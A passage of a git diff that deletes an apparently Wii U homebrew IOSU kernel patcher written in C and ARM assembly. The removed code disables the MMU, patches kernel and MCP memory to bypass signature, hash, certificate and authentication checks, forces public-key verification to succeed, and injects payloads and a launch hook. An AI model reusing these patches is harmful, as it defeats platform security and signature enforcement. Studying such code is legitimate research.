R_PPC_SECTOFF_HA 36 -/* Keep this the last entry. */ -#define R_PPC_NUM 37 - -/* The remaining relocs are from the Embedded ELF ABI, and are not - in the SVR4 ELF ABI. */ -#define R_PPC_EMB_NADDR32 101 -#define R_PPC_EMB_NADDR16 102 -#define R_PPC_EMB_NADDR16_LO 103 -#define R_PPC_EMB_NADDR16_HI 104 -#define R_PPC_EMB_NADDR16_HA 105 -#define R_PPC_EMB_SDAI16 106 -#define R_PPC_EMB_SDA2I16 107 -#define R_PPC_EMB_SDA2REL 108 -#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ -#define R_PPC_EMB_MRKREF 110 -#define R_PPC_EMB_RELSEC16 111 -#define R_PPC_EMB_RELST_LO 112 -#define R_PPC_EMB_RELST_HI 113 -#define R_PPC_EMB_RELST_HA 114 -#define R_PPC_EMB_BIT_FLD 115 -#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ - -/* Diab tool relocations. */ -#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ -#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ -#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ -#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ -#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ -#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ - -/* This is a phony reloc to handle any old fashioned TOC16 references - that may still be in object files. */ -#define R_PPC_TOC16 255 - -#endif /* _ELF_H */ diff --git a/dsrom/iosu_patcher/arm_kernel/source/elf_patcher.c b/dsrom/iosu_patcher/arm_kernel/source/elf_patcher.c deleted file mode 100644 index 8310964..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/elf_patcher.c +++ /dev/null @@ -1,110 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "types.h" -#include "elf_abi.h" -#include "utils.h" - -static Elf32_Phdr * get_section(u32 data, u32 vaddr) -{ - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; - - if ( !IS_ELF (*ehdr) - || (ehdr->e_type != ET_EXEC) - || (ehdr->e_machine != EM_ARM)) - { - return 0; - } - - Elf32_Phdr *phdr = 0; - - u32 i; - for(i = 0; i < ehdr->e_phnum; i++) - { - phdr = (Elf32_Phdr *) (data + ehdr->e_phoff + ehdr->e_phentsize * i); - - if((vaddr >= phdr[0].p_vaddr) && ((i == ehdr->e_phnum) || (vaddr < phdr[1].p_vaddr))) - { - break; - } - } - return phdr; -} - -void section_write_bss(u32 ios_elf_start, u32 address, u32 size) -{ - Elf32_Phdr *phdr = get_section(ios_elf_start, address); - if(!phdr) - return; - - if((address - phdr->p_vaddr + size) > phdr->p_memsz) - { - phdr->p_memsz = (address - phdr->p_vaddr + size); - } -} - -void section_write(u32 ios_elf_start, u32 address, const void *data, u32 size) -{ - Elf32_Phdr *phdr = get_section(ios_elf_start, address); - if(!phdr) - return; - - u32 *addr = (u32*)(ios_elf_start + address - phdr->p_vaddr + phdr->p_offset); - - if((address - phdr->p_vaddr + size) > phdr->p_filesz) - { - u32 additionalSize = address - phdr->p_vaddr + size - phdr->p_filesz; - - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) ios_elf_start; - Elf32_Phdr * tmpPhdr; - u32 i; - for(i = (ehdr->e_phnum-1); i >= 0; i--) - { - tmpPhdr = (Elf32_Phdr *) (ios_elf_start + ehdr->e_phoff + ehdr->e_phentsize * i); - - if(phdr->p_offset < tmpPhdr->p_offset) - { - reverse_memcpy((u8*)ios_elf_start + tmpPhdr->p_offset + additionalSize, (u8*)ios_elf_start + tmpPhdr->p_offset, tmpPhdr->p_filesz); - tmpPhdr->p_offset += additionalSize; - } - else { - break; - } - } - phdr->p_filesz += additionalSize; - if(phdr->p_memsz < phdr->p_filesz) - { - phdr->p_memsz = phdr->p_filesz; - } - } - - // in most cases only a word is copied to an aligned address so do a short cut for performance - if(size == 4 && !((unsigned int)addr & 3) && !((unsigned int)data & 3)) - { - *(u32*)addr = *(u32*)data; - } - else - { - kernel_memcpy(addr, data, size); - } -} diff --git a/dsrom/iosu_patcher/arm_kernel/source/elf_patcher.h b/dsrom/iosu_patcher/arm_kernel/source/elf_patcher.h deleted file mode 100644 index d3e937c..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/elf_patcher.h +++ /dev/null @@ -1,62 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef _ELF_PATCHER_H -#define _ELF_PATCHER_H - -#include "types.h" - -#define ARM_B(addr, func) (0xEA000000 | ((((u32)(func) - (u32)(addr) - 8) >> 2) & 0x00FFFFFF)) -#define ARM_BL(addr, func) (0xEB000000 | ((((u32)(func) - (u32)(addr) - 8) >> 2) & 0x00FFFFFF)) - -typedef struct -{ - u32 address; - void* data; - u32 size; -} patch_table_t; - -void section_write(u32 ios_elf_start, u32 address, const void *data, u32 size); -void section_write_bss(u32 ios_elf_start, u32 address, u32 size); - -static inline void section_write_word(u32 ios_elf_start, u32 address, u32 word) -{ - section_write(ios_elf_start, address, &word, sizeof(word)); -} - -static inline void section_write_ushort(u32 ios_elf_start, u32 address, u16 ushort) -{ - section_write(ios_elf_start, address, &ushort, sizeof(ushort)); -} - -static inline void patch_table_entries(u32 ios_elf_start, const patch_table_t * patch_table, u32 patch_count) -{ - u32 i; - for(i = 0; i < patch_count; i++) - { - section_write(ios_elf_start, patch_table[i].address, patch_table[i].data, patch_table[i].size); - } -} - - -#endif diff --git a/dsrom/iosu_patcher/arm_kernel/source/getbins.c b/dsrom/iosu_patcher/arm_kernel/source/getbins.c deleted file mode 100644 index aa7e130..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/getbins.c +++ /dev/null @@ -1,36 +0,0 @@ -#include "../../payload/titleprot_bin.h" -#include "../../payload/titleprot2_bin.h" -#include "../../payload/wupserver_bin.h" - -//not really a bin but still a const val -const int from_cbhc = 1; - -const unsigned char *get_titleprot_bin() -{ - return titleprot_bin; -} - -unsigned int get_titleprot_bin_len() -{ - return titleprot_bin_len; -} - -const unsigned char *get_titleprot2_bin() -{ - return titleprot2_bin; -} - -unsigned int get_titleprot2_bin_len() -{ - return titleprot2_bin_len; -} - -const unsigned char *get_wupserver_bin() -{ - return wupserver_bin; -} - -unsigned int get_wupserver_bin_len() -{ - return wupserver_bin_len; -} diff --git a/dsrom/iosu_patcher/arm_kernel/source/getbins.h b/dsrom/iosu_patcher/arm_kernel/source/getbins.h deleted file mode 100644 index a8d512d..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/getbins.h +++ /dev/null @@ -1,18 +0,0 @@ - -#ifndef _GETBINS_H_ -#define _GETBINS_H_ - -#define titleprot_addr 0x0510D988 -#define titleprot2_addr 0x0510D9AC -#define wupserver_addr 0x0510E570 - -const unsigned char *get_titleprot_bin(); -unsigned int get_titleprot_bin_len(); - -const unsigned char *get_titleprot2_bin(); -unsigned int get_titleprot2_bin_len(); - -const unsigned char *get_wupserver_bin(); -unsigned int get_wupserver_bin_len(); - -#endif diff --git a/dsrom/iosu_patcher/arm_kernel/source/main.c b/dsrom/iosu_patcher/arm_kernel/source/main.c deleted file mode 100644 index fd4592f..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/main.c +++ /dev/null @@ -1,224 +0,0 @@ -#include "types.h" -#include "utils.h" -#include "reload.h" -#include "elf_patcher.h" -#include "../../payload/arm_user_bin.h" -#include "getbins.h" - -static const char repairData_set_fault_behavior[] = { - 0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00, - 0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02, - 0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D, -}; -static const char repairData_set_panic_behavior[] = { - 0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70, - 0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00, - 0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4, - 0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94, - 0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E, - 0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00, - 0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00, -}; -static const char repairData_usb_root_thread[] = { - 0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10, - 0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3, - 0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90, - 0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8, - 0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0, - 0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03, - 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, -}; - -/* from smealum's iosuhax: must be placed at 0x05059938 */ -static const char os_launch_hook[] = { - 0x47, 0x78, 0x00, 0x00, 0xe9, 0x2d, 0x40, 0x0f, 0xe2, 0x4d, 0xd0, 0x08, 0xeb, - 0xff, 0xfd, 0xfd, 0xe3, 0xa0, 0x00, 0x00, 0xeb, 0xff, 0xfe, 0x03, 0xe5, 0x9f, - 0x10, 0x4c, 0xe5, 0x9f, 0x20, 0x4c, 0xe3, 0xa0, 0x30, 0x00, 0xe5, 0x8d, 0x30, - 0x00, 0xe5, 0x8d, 0x30, 0x04, 0xeb, 0xff, 0xfe, 0xf1, 0xe2, 0x8d, 0xd0, 0x08, - 0xe8, 0xbd, 0x80, 0x0f, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x64, 0x63, 0x61, - 0x72, 0x64, 0x30, 0x31, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, 0x63, - 0x61, 0x72, 0x64, 0x00, 0x00, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, - 0x63, 0x61, 0x72, 0x64, 0x00, 0x05, 0x11, 0x60, 0x00, 0x05, 0x0b, 0xe0, 0x00, - 0x05, 0x0b, 0xcf, 0xfc, 0x05, 0x05, 0x99, 0x70, 0x05, 0x05, 0x99, 0x7e, -}; - -extern const int from_cbhc; - -#define LAUNCH_SYSMENU 0 -#define LAUNCH_HBL 1 -#define LAUNCH_MOCHA 2 -#define LAUNCH_CFW_IMG 3 - -int _main() -{ - void(*invalidate_icache)() = (void(*)())0x0812DCF0; - void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; - void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160; - - flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache - - int level = disable_interrupts(); - - unsigned int control_register = disable_mmu(); - - /* copy in ds vc title id to protect from installing/moving/deleting */ - kernel_memcpy((void*)(get_titleprot2_bin()+get_titleprot2_bin_len()-12), (void*)0x01E70108, 4); - kernel_memcpy((void*)(get_titleprot_bin()+get_titleprot_bin_len()-8), (void*)0x01E70108, 4); - - /* save if we are booted from CBHC */ - kernel_memcpy((void*)(&from_cbhc), (void*)0x01E70110, 4); - - /* get value CBHC or Haxchi used to boot up */ - unsigned int launchmode = *(volatile int*)0x01E7010C; - - /* Save the request handle so we can reply later */ - *(volatile u32*)0x01E10000 = *(volatile u32*)0x1016AD18; - - /* Patch kernel_error_handler to BX LR immediately */ - *(volatile u32*)kernel_phys(0x08129A24) = 0xE12FFF1E; - - void * pset_fault_behavior = (void*)0x081298BC; - kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior)); - - void * pset_panic_behavior = (void*)0x081296E4; - kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior)); - - void * pusb_root_thread = (void*)0x10100174; - kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread)); - - void * pUserBinSource = (void*)0x01E50000; - void * pUserBinDest = (void*)0x101312D0; - kernel_memcpy(pUserBinDest, (void*)pUserBinSource, sizeof(arm_user_bin)); - - if(launchmode != LAUNCH_MOCHA) - { - // nop out memcmp hash checks - *(volatile u32*)crypto_phys(0x040017E0) = 0xE3A00000; // mov r0, #0 - *(volatile u32*)crypto_phys(0x040019C4) = 0xE3A00000; // mov r0, #0 - *(volatile u32*)crypto_phys(0x04001BB0) = 0xE3A00000; // mov r0, #0 - *(volatile u32*)crypto_phys(0x04001D40) = 0xE3A00000; // mov r0, #0 - - // patch OS launch sig check - *(volatile u32*)mcp_phys(0x0500A818) = 0x20002000; // mov r0, #0; mov r0, #0 - - // fix 10 minute timeout that crashes MCP after 10 minutes of booting - *(volatile u32*)mcp_phys(0x05022474) = 0xFFFFFFFF; // NEW_TIMEOUT - } - - if(launchmode != LAUNCH_MOCHA && launchmode != LAUNCH_CFW_IMG) - { - // jump to titleprot2_addr - *(volatile u32*)mcp_phys(0x05014670) = 0xF0F9F99C; //bl titleprot2_addr - - // patch MCP authentication check - *(volatile u32*)mcp_phys(0x05014CAC) = 0x20004770; // mov r0, #0; bx lr - - // replace ioctl 0x62 code with jump to wupserver - *(volatile u32*)mcp_phys(0x05026BA8) = 0x47780000; // bx pc - *(volatile u32*)mcp_phys(0x05026BAC) = 0xE59F1000; // ldr r1, [pc] - *(volatile u32*)mcp_phys(0x05026BB0) = 0xE12FFF11; // bx r1 - *(volatile u32*)mcp_phys(0x05026BB4) = wupserver_addr; // wupserver code - - // patch system version number - *(volatile u16*)mcp_phys(0x0502F29A) = 0x2363; // movs r3, #99 - *(volatile u16*)mcp_phys(0x0502F2AA) = 0x2363; // movs r3, #99 - *(volatile u16*)mcp_phys(0x0502F2BA) = 0x2363; // movs r3, #99 - - // patch cert verification - *(volatile u32*)mcp_phys(0x05052A90) = 0xE3A00000; // mov r0, #0 - *(volatile u32*)mcp_phys(0x05052A94) = 0xE12FFF1E; // bx lr - - // patch IOSC_VerifyPubkeySign to always succeed - *(volatile u32*)mcp_phys(0x05052C44) = 0xE3A00000; // mov r0, #0 - *(volatile u32*)mcp_phys(0x05052C48) = 0xE12FFF1E; // bx lr - - // patch cached cert check - *(volatile u32*)mcp_phys(0x05054D6C) = 0xE3A00000; // mov r0, 0 - *(volatile u32*)mcp_phys(0x05054D70) = 0xE12FFF1E; // bx lr - - // redirect mcp_debug_print to mcp_syslog_print (0x0503DCF0) - *(volatile u32*)mcp_phys(0x05055454) = 0xEBFFA225; // bl 0x0503DCF0 - - if(from_cbhc) // coldboot specific patches - { - // change system.xml to syshax.xml - *(volatile u32*)mcp_rodata_phys(0x050600F0) = 0x79736861; // ysha - *(volatile u32*)mcp_rodata_phys(0x050600F4) = 0x782E786D; // x.xm - - *(volatile u32*)mcp_rodata_phys(0x05060114) = 0x79736861; // ysha - *(volatile u32*)mcp_rodata_phys(0x05060118) = 0x782E786D; // x.xm - } - - // jump to titleprot_addr - *(volatile u32*)mcp_d_r_phys(0x05107F70) = 0xF005FD0A; //bl titleprot_addr - - //free some mcp_d_r room for our code - *(volatile u32*)mcp_d_r_phys(titleprot_addr-4) = 0x20004770; // mov r0, #0; bx lr - // overwrite mcp_d_r code with titleprot - kernel_memcpy((void*)mcp_d_r_phys(titleprot_addr), get_titleprot_bin(), get_titleprot_bin_len()); - invalidate_dcache(mcp_d_r_phys(titleprot_addr), get_titleprot_bin_len()); - - // overwrite mcp_d_r code with titleprot2 - kernel_memcpy((void*)mcp_d_r_phys(titleprot2_addr), get_titleprot2_bin(), get_titleprot2_bin_len()); - invalidate_dcache(mcp_d_r_phys(titleprot2_addr), get_titleprot2_bin_len()); - invalidate_icache(); - - //free some mcp_d_r room for our code - *(volatile u32*)mcp_d_r_phys(wupserver_addr-4) = 0x47700000; //bx lr - // overwrite mcp_d_r code with wupserver - kernel_memcpy((void*)mcp_d_r_phys(wupserver_addr), get_wupserver_bin(), get_wupserver_bin_len()); - invalidate_dcache(mcp_d_r_phys(wupserver_addr), get_wupserver_bin_len()); - invalidate_icache(); - - // apply IOS ELF launch hook (thanks dimok!) - *(volatile u32*)kernel_phys(0x0812A120) = ARM_BL(0x0812A120, kernel_launch_ios); - - // allow any region title launch - *(volatile u32*)acp_phys(0xE0030498) = 0xE3A00000; // mov r0, #0 - - // allow custom bootLogoTex and bootMovie.h264 - *(volatile u32*)acp_phys(0xE0030D68) = 0xE3A00000; // mov r0, #0 - *(volatile u32*)acp_phys(0xE0030D34) = 0xE3A00000; // mov r0, #0 - } - - //custom fw.img reboot - if(launchmode == LAUNCH_CFW_IMG) - { - //copy in new fw.img path - int i; - for (i = 0; i < 32; i++) - if (i < 31) - ((char*)mcp_rodata_phys(0x050663B4))[i] = ((char*)0x01E70000)[i]; - else - ((char*)mcp_rodata_phys(0x050663B4))[i] = (char)0; - - // jump to launch_os_hook - *(volatile u32*)mcp_phys(0x050282AE) = 0xF031FB43; // bl launch_os_hook - - // copy launch_os_hook into free mcp code space - for (i = 0; i < sizeof(os_launch_hook); i++) - ((char*)mcp_phys(0x05059938))[i] = os_launch_hook[i]; - } - - if(from_cbhc) // coldboot specific patches - { - // patch default title id to system menu - *(volatile u32*)mcp_data_phys(0x050B817C) = *(volatile u32*)0x01E70100; - *(volatile u32*)mcp_data_phys(0x050B8180) = *(volatile u32*)0x01E70104; - - // force check USB storage on load - *(volatile u32*)acp_phys(0xE012202C) = 0x00000001; // find USB flag - } - - *(volatile u32*)(0x1555500) = 0; - - /* REENABLE MMU */ - restore_mmu(control_register); - - invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache - invalidate_icache(); - - enable_interrupts(level); - - return 0; -} diff --git a/dsrom/iosu_patcher/arm_kernel/source/mmu.s b/dsrom/iosu_patcher/arm_kernel/source/mmu.s deleted file mode 100644 index 17fab93..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/mmu.s +++ /dev/null @@ -1,18 +0,0 @@ -.section ".text" -.arm -.align 4 - -.globl disable_mmu -.type disable_mmu, %function -disable_mmu: - mrc p15, 0, r0, c1, c0, 0 - ldr r1, =#0xFFFFEFFA - and r1, r0, r1 - mcr p15, 0, r1, c1, c0, 0 - bx lr - -.globl restore_mmu -.type restore_mmu, %function -restore_mmu: - mcr p15, 0, r0, c1, c0, 0 - bx lr diff --git a/dsrom/iosu_patcher/arm_kernel/source/reload.c b/dsrom/iosu_patcher/arm_kernel/source/reload.c deleted file mode 100644 index ab6419b..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/reload.c +++ /dev/null @@ -1,113 +0,0 @@ -//kernel relaunch hook, thanks to dimok -#include "types.h" -#include "utils.h" -#include "reload.h" -#include "elf_patcher.h" -#include "getbins.h" - -extern char __file_start, __file_end; -extern const int from_cbhc; - -void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H) -{ - void (*kernel_launch_bootrom)(u32 launch_address, u32 L, u32 C, u32 H) = (void*)0x0812A050; - - if(*(u32*)(launch_address - 0x300 + 0x1AC) == 0x00DFD000) - { - int level = disable_interrupts(); - unsigned int control_register = disable_mmu(); - - u32 ios_elf_start = launch_address + 0x804 - 0x300; - - // nop out memcmp hash checks - section_write_word(ios_elf_start, 0x040017E0, 0xE3A00000); // mov r0, #0 - section_write_word(ios_elf_start, 0x040019C4, 0xE3A00000); // mov r0, #0 - section_write_word(ios_elf_start, 0x04001BB0, 0xE3A00000); // mov r0, #0 - section_write_word(ios_elf_start, 0x04001D40, 0xE3A00000); // mov r0, #0 - - // patch OS launch sig check - section_write_word(ios_elf_start, 0x0500A818, 0x20002000); // mov r0, #0; mov r0, #0 - - // jump to titleprot2_addr - section_write_word(ios_elf_start, 0x05014670, 0xF0F9F99C); //bl titleprot2_addr - - // patch MCP authentication check - section_write_word(ios_elf_start, 0x05014CAC, 0x20004770); // mov r0, #0; bx lr - - // jump over overwritten MCP debug thread start function - section_write_word(ios_elf_start, 0x0501FEE0, 0x20002000); //mov r0, #0; mov r0, #0 - - // fix 10 minute timeout that crashes MCP after 10 minutes of booting - section_write_word(ios_elf_start, 0x05022474, 0xFFFFFFFF); // NEW_TIMEOUT - - // replace ioctl 0x62 code with jump to wupserver - section_write_word(ios_elf_start, 0x05026BA8, 0x47780000); // bx pc - section_write_word(ios_elf_start, 0x05026BAC, 0xE59F1000); // ldr r1, [pc] - section_write_word(ios_elf_start, 0x05026BB0, 0xE12FFF11); // bx r1 - section_write_word(ios_elf_start, 0x05026BB4, wupserver_addr); // wupserver code - - // patch cert verification - section_write_word(ios_elf_start, 0x05052A90, 0xE3A00000); // mov r0, #0 - section_write_word(ios_elf_start, 0x05052A94, 0xE12FFF1E); // bx lr - - // patch IOSC_VerifyPubkeySign to always succeed - section_write_word(ios_elf_start, 0x05052C44, 0xE3A00000); // mov r0, #0 - section_write_word(ios_elf_start, 0x05052C48, 0xE12FFF1E); // bx lr - - // patch system version number - section_write_ushort(ios_elf_start, 0x0502F29A, 0x2363); // movs r3, #99 - section_write_ushort(ios_elf_start, 0x0502F2AA, 0x2363); // movs r3, #99 - section_write_ushort(ios_elf_start, 0x0502F2BA, 0x2363); // movs r3, #99 - - // patch cached cert check - section_write_word(ios_elf_start, 0x05054D6C, 0xE3A00000); // mov r0, 0 - section_write_word(ios_elf_start, 0x05054D70, 0xE12FFF1E); // bx lr - - // redirect mcp_debug_print to mcp_syslog_print (0x0503DCF0) - section_write_word(ios_elf_start, 0x05055454, 0xEBFFA225); // bl 0x0503DCF0 - - if(from_cbhc) // coldboot specific patches - { - // change system.xml to syshax.xml - section_write_word(ios_elf_start, 0x050600F0, 0x79736861); // ysha - section_write_word(ios_elf_start, 0x050600F4, 0x782E786D); // x.xm - - section_write_word(ios_elf_start, 0x05060114, 0x79736861); // ysha - section_write_word(ios_elf_start, 0x05060118, 0x782E786D); // x.xm - } - - // jump to titleprot_addr - section_write_word(ios_elf_start, 0x05107F70, 0xF005FD0A); //bl titleprot_addr - - //free some mcp_d_r room for our code - section_write_word(ios_elf_start, (titleprot_addr-4), 0x20004770); // mov r0, #0; bx lr - // overwrite mcp_d_r code with titleprot - section_write(ios_elf_start, titleprot_addr, get_titleprot_bin(), get_titleprot_bin_len()); - - // overwrite mcp_d_r code with titleprot2 - section_write(ios_elf_start, titleprot2_addr, get_titleprot2_bin(), get_titleprot2_bin_len()); - - //free some mcp_d_r room for our code - section_write_word(ios_elf_start, (wupserver_addr-4), 0x47700000); //bx lr - // overwrite mcp_d_r code with wupserver - section_write(ios_elf_start, wupserver_addr, get_wupserver_bin(), get_wupserver_bin_len()); - - // apply IOS ELF launch hook (thanks dimok!) - section_write_word(ios_elf_start, 0x0812A120, ARM_BL(0x0812A120, kernel_launch_ios)); - - // Put arm_kernel file back where it is now - section_write(ios_elf_start, (u32)&__file_start, &__file_start, &__file_end - &__file_start); - - // allow any region title launch - section_write_word(ios_elf_start, 0xE0030498, 0xE3A00000); // mov r0, #0 - - // allow custom bootLogoTex and bootMovie.h264 - section_write_word(ios_elf_start, 0xE0030D68, 0xE3A00000); // mov r0, #0 - section_write_word(ios_elf_start, 0xE0030D34, 0xE3A00000); // mov r0, #0 - - restore_mmu(control_register); - enable_interrupts(level); - } - - kernel_launch_bootrom(launch_address, L, C, H); -} diff --git a/dsrom/iosu_patcher/arm_kernel/source/reload.h b/dsrom/iosu_patcher/arm_kernel/source/reload.h deleted file mode 100644 index ef11113..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/reload.h +++ /dev/null @@ -1,7 +0,0 @@ - -#ifndef _RELOAD_H_ -#define _RELOAD_H_ - -void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H); - -#endif diff --git a/dsrom/iosu_patcher/arm_kernel/source/types.h b/dsrom/iosu_patcher/arm_kernel/source/types.h deleted file mode 100644 index 5d8eced..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/types.h +++ /dev/null @@ -1,16 +0,0 @@ -#ifndef _TYPES_H -#define _TYPES_H - -#include - -typedef uint8_t u8; -typedef uint16_t u16; -typedef uint32_t u32; -typedef uint64_t u64; - -typedef int8_t s8; -typedef int16_t s16; -typedef int32_t s32; -typedef int64_t s64; - -#endif diff --git a/dsrom/iosu_patcher/arm_kernel/source/utils.c b/dsrom/iosu_patcher/arm_kernel/source/utils.c deleted file mode 100644 index 8ce65ae..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/utils.c +++ /dev/null @@ -1,92 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ - -// this memcpy is optimized for speed and to work with MEM1 32 bit access alignment requirement -void reverse_memcpy(void* dst, const void* src, unsigned int size) -{ - const unsigned char *src_p; - unsigned char *dst_p; - - if((size >= 4) && !((dst - src) & 3)) - { - const unsigned int *src_p32; - unsigned int *dst_p32; - unsigned int endDst = ((unsigned int)dst) + size; - unsigned int endRest = endDst & 3; - - if(endRest) - { - src_p = ((const unsigned char*)(src + size)) - 1; - dst_p = ((unsigned char*)endDst) - 1; - size -= endRest; - - while(endRest--) - *dst_p-- = *src_p--; - } - - src_p32 = ((const unsigned int*)(src + size)) - 1; - dst_p32 = ((unsigned int*)(dst + size)) - 1; - - unsigned int size32 = size >> 5; - if(size32) - { - size &= 0x1F; - - while(size32--) - { - src_p32 -= 8; - dst_p32 -= 8; - - dst_p32[8] = src_p32[8]; - dst_p32[7] = src_p32[7]; - dst_p32[6] = src_p32[6]; - dst_p32[5] = src_p32[5]; - dst_p32[4] = src_p32[4]; - dst_p32[3] = src_p32[3]; - dst_p32[2] = src_p32[2]; - dst_p32[1] = src_p32[1]; - } - } - - unsigned int size4 = size >> 2; - if(size4) - { - size &= 3; - - while(size4--) - *dst_p32-- = *src_p32--; - } - - dst_p = ((unsigned char*)dst_p32) + 3; - src_p = ((const unsigned char*)src_p32) + 3; - } - else - { - dst_p = ((unsigned char*)dst) + size - 1; - src_p = ((const unsigned char*)src) + size - 1; - } - - while(size--) - *dst_p-- = *src_p--; -} diff --git a/dsrom/iosu_patcher/arm_kernel/source/utils.h b/dsrom/iosu_patcher/arm_kernel/source/utils.h deleted file mode 100644 index d1d444f..0000000 --- a/dsrom/iosu_patcher/arm_kernel/source/utils.h +++ /dev/null @@ -1,48 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef _UTILS_H -#define _UTILS_H - -#define ALIGN4(x) (((x) + 3) & ~3) - -#define kernel_memcpy ((void * (*)(void*, const void*, int))0x08131D04) -#define kernel_memset 